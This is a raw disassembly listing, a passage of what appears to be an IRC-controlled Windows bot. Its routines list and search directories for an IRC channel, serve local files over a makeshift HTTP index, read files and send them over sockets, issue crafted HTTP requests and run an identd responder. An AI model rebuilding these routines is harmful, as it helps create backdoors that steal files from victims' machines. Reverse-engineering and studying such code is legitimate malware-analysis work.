		jz	short loc_4102ED
		cmp	[ebp+arg_C], edi
		jz	short loc_4102E1
		lea	eax, [ebp+Str]
		push	offset asc_44AA1C ; "*"
		push	eax		; Dest
		call	_strcat
		pop	ecx
		lea	eax, [ebp+Str]
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_410B2E
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax		; Format
		lea	eax, [ebp+var_53C]
		push	eax		; Dest
		call	_sprintf
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_41033C
; ---------------------------------------------------------------------------

loc_4102E1:				; CODE XREF: sub_410134+152j
		push	ebx

loc_4102E2:				; CODE XREF: sub_410134+126j
		call	dword_4E3190	; closesocket
		jmp	loc_4103E4
; ---------------------------------------------------------------------------

loc_4102ED:				; CODE XREF: sub_410134+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_4F53C0	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41033C
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:dword_4F53DC	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_4F533C	; CloseHandle

loc_41033C:				; CODE XREF: sub_410134+1ABj
					; sub_410134+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+Source]
		push	esi
		push	offset asc_44AA20 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40B756
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_45601C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FFB1
		push	edi
		push	edi
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_45602C[ecx], eax
		jz	short loc_4103B6

loc_4103A4:				; CODE XREF: sub_410134+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_4103E4
		push	5
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4103A4
; ---------------------------------------------------------------------------

loc_4103B6:				; CODE XREF: sub_410134+26Ej
		push	ebx
		call	dword_4E3190	; closesocket
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44AA54 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		add	esp, 10h

loc_4103E4:				; CODE XREF: sub_410134+1B4j
					; sub_410134+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4103EB(char *Str,int,int,char	*Source)

sub_4103EB	proc near		; CODE XREF: sub_401CC7+7823p
					; sub_40FFB1+15Ap

Dst		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
Str1		= byte ptr -35Ch
var_248		= byte ptr -248h
Dest		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	_memset
		mov	edi, [ebp+Str]
		push	offset asc_44AA8C ; "\n"
		push	edi		; Str
		call	_strtok
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_41044A
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_410549
; ---------------------------------------------------------------------------

loc_41044A:				; CODE XREF: sub_4103EB+3Aj
		cmp	[ebp+Source], ebx
		push	edi		; Str
		jz	loc_41052F
		call	_strlen
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		push	edi		; Str
		call	_strlen
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_410549
; ---------------------------------------------------------------------------

loc_41052F:				; CODE XREF: sub_4103EB+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h

loc_410549:				; CODE XREF: sub_4103EB+5Aj
					; sub_4103EB+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		cmp	[ebp+Source], ebx
		jz	short loc_4105E4
		push	[ebp+Source]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4105E4
		push	[ebp+Source]	; Str
		call	_strlen
		sub	eax, 3
		pop	ecx
		jz	short loc_410595

loc_410589:				; CODE XREF: sub_4103EB+1A8j
		mov	ecx, [ebp+Source]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410595
		dec	eax
		jnz	short loc_410589

loc_410595:				; CODE XREF: sub_4103EB+19Cj
					; sub_4103EB+1A5j
		inc	eax
		push	eax		; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send

loc_4105E4:				; CODE XREF: sub_4103EB+180j
					; sub_4103EB+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_4F53F0	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+Str], eax
		push	ecx
		push	eax
		call	ds:dword_4F53EC	; FindNextFileA
		test	eax, eax
		jz	loc_4109D4
		mov	edi, 1FFh

loc_410610:				; CODE XREF: sub_4103EB+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_4109BC
		lea	eax, [ebp+Str1]
		push	offset a__	; ".."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109BC
		lea	eax, [ebp+Str1]
		push	offset a__2	; "."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109BC
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_4F53E8	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4F53E4	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	short loc_410685
		mov	ecx, offset aAm	; "AM"

loc_410685:				; CODE XREF: sub_4103EB+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410691
		sub	eax, 0Ch

loc_410691:				; CODE XREF: sub_4103EB+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_410834
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410705
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_27	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_41097D
; ---------------------------------------------------------------------------

loc_410705:				; CODE XREF: sub_4103EB+2E0j
		cmp	[ebp+Source], ebx
		jz	loc_4107EF
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_5	; "%s%s/"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_4107A5
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4107AA
; ---------------------------------------------------------------------------

loc_4107A5:				; CODE XREF: sub_4103EB+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_4107AA:				; CODE XREF: sub_4103EB+3B8j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_41097E
; ---------------------------------------------------------------------------

loc_4107EF:				; CODE XREF: sub_4103EB+31Dj
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_28	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_41098D
; ---------------------------------------------------------------------------

loc_410834:				; CODE XREF: sub_4103EB+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410873
		push	ebx
		push	[ebp+var_368]
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi		; Count

loc_41085F:				; CODE XREF: sub_4103EB+577j
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	loc_41098D
; ---------------------------------------------------------------------------

loc_410873:				; CODE XREF: sub_4103EB+44Fj
		cmp	[ebp+Source], ebx
		jz	loc_410967
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_6	; "%s%s"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_410913
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410918
; ---------------------------------------------------------------------------

loc_410913:				; CODE XREF: sub_4103EB+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_410918:				; CODE XREF: sub_4103EB+526j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_41085F
; ---------------------------------------------------------------------------

loc_410967:				; CODE XREF: sub_4103EB+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_41097D:				; CODE XREF: sub_4103EB+315j
		push	esi		; Count

loc_41097E:				; CODE XREF: sub_4103EB+3FFj
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h

loc_41098D:				; CODE XREF: sub_4103EB+444j
					; sub_4103EB+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_4109BC
		push	7D0h
		call	ds:dword_4F534C	; Sleep

loc_4109BC:				; CODE XREF: sub_4103EB+22Bj
					; sub_4103EB+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+Str]
		call	ds:dword_4F53EC	; FindNextFileA
		test	eax, eax
		jnz	loc_410610

loc_4109D4:				; CODE XREF: sub_4103EB+21Aj
		push	[ebp+Str]
		call	ds:dword_4F53E0	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_410A17
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_41748B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_410A4B
; ---------------------------------------------------------------------------

loc_410A17:				; CODE XREF: sub_4103EB+5F5j
		cmp	[ebp+Source], ebx
		jz	short loc_410A31
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_410A4B
; ---------------------------------------------------------------------------

loc_410A31:				; CODE XREF: sub_4103EB+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h

loc_410A4B:				; CODE XREF: sub_4103EB+62Aj
					; sub_4103EB+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E3148	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4103EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A71	proc near		; CODE XREF: sub_40FFB1+13Cp

Dst		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_4F53C0	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410B29
		push	esi
		push	ebx
		call	ds:dword_4F53DC	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410B22

loc_410AB6:				; CODE XREF: sub_410A71+AFj
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410AD3
		mov	edi, [ebp+arg_4]

loc_410AD3:				; CODE XREF: sub_410A71+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4F53F4	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_4F53BC	; ReadFile
		push	esi
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410B1D
		call	dword_4E308C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_410B22
		xor	eax, eax

loc_410B1D:				; CODE XREF: sub_410A71+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410AB6

loc_410B22:				; CODE XREF: sub_410A71+43j
					; sub_410A71+A8j
		push	ebx
		call	ds:dword_4F533C	; CloseHandle

loc_410B29:				; CODE XREF: sub_410A71+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410A71	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_410B2E(char *Str)

sub_410B2E	proc near		; CODE XREF: sub_410134+181p

Str		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Str]
		xor	esi, esi
		push	edi		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_410B57

loc_410B41:				; CODE XREF: sub_410B2E+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410B4B
		mov	byte ptr [esi+edi], 2Fh

loc_410B4B:				; CODE XREF: sub_410B2E+17j
		push	edi		; Str
		inc	esi
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_410B41

loc_410B57:				; CODE XREF: sub_410B2E+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410B5C(int,char *Str,int,int,int,int,int,int,int)

sub_410B5C	proc near		; CODE XREF: sub_401CC7+5318p

var_4A0		= byte ptr -4A0h
Dest		= byte ptr -310h
Format		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4E3068	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4E3178	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_14]
		call	dword_4E30F8	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AE55
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C39
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410BD5
		mov	eax, offset dword_4E5E88

loc_410BD5:				; CODE XREF: sub_410B5C+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+Format]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Format]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Format]
		push	eax
		push	ebx
		call	dword_4E3148	; send
		push	esi		; Size
		lea	eax, [ebp+Format]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+Format]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E3110	; recv
		pop	esi

loc_410C39:				; CODE XREF: sub_410B5C+6Bj
		push	ebx
		call	dword_4E3190	; closesocket
		call	dword_4E3050	; WSACleanup
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410C79
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_410C79:				; CODE XREF: sub_410B5C+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410B5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C7D	proc near		; DATA XREF: WinMain(x,x,x,x)+445o
					; sub_401CC7+4363o

Str		= byte ptr -238h
Dest		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_8], esi
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	71h
		call	dword_4E30F8	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4E3178	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410DE1
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_456024[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4E3124	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410DE1
		push	5
		push	ebx
		call	dword_4E3120	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410DE1
		mov	[ebp+var_C], edi
		mov	edi, 200h

loc_410D08:				; CODE XREF: sub_410C7D+EAj
					; sub_410C7D+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4E318C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_410DDC
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_44AF64 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_415C3F
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4E3110	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410D08
		lea	eax, [ebp+Str]
		push	esi		; int
		push	eax		; Str
		call	sub_418C98
		push	0Ch		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	esi		; Str1
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	2		; int
		push	eax		; Dest
		call	sub_40B44F
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_4]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D08
		mov	[ebp+var_8], 1
		jmp	loc_410D08
; ---------------------------------------------------------------------------

loc_410DDC:				; CODE XREF: sub_410C7D+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410E08

loc_410DE1:				; CODE XREF: sub_410C7D+47j
					; sub_410C7D+6Bj ...
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_44AFA8 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_415C3F
		add	esp, 10h

loc_410E08:				; CODE XREF: sub_410C7D+162j
		push	ebx
		call	dword_4E3190	; closesocket
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410C7D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

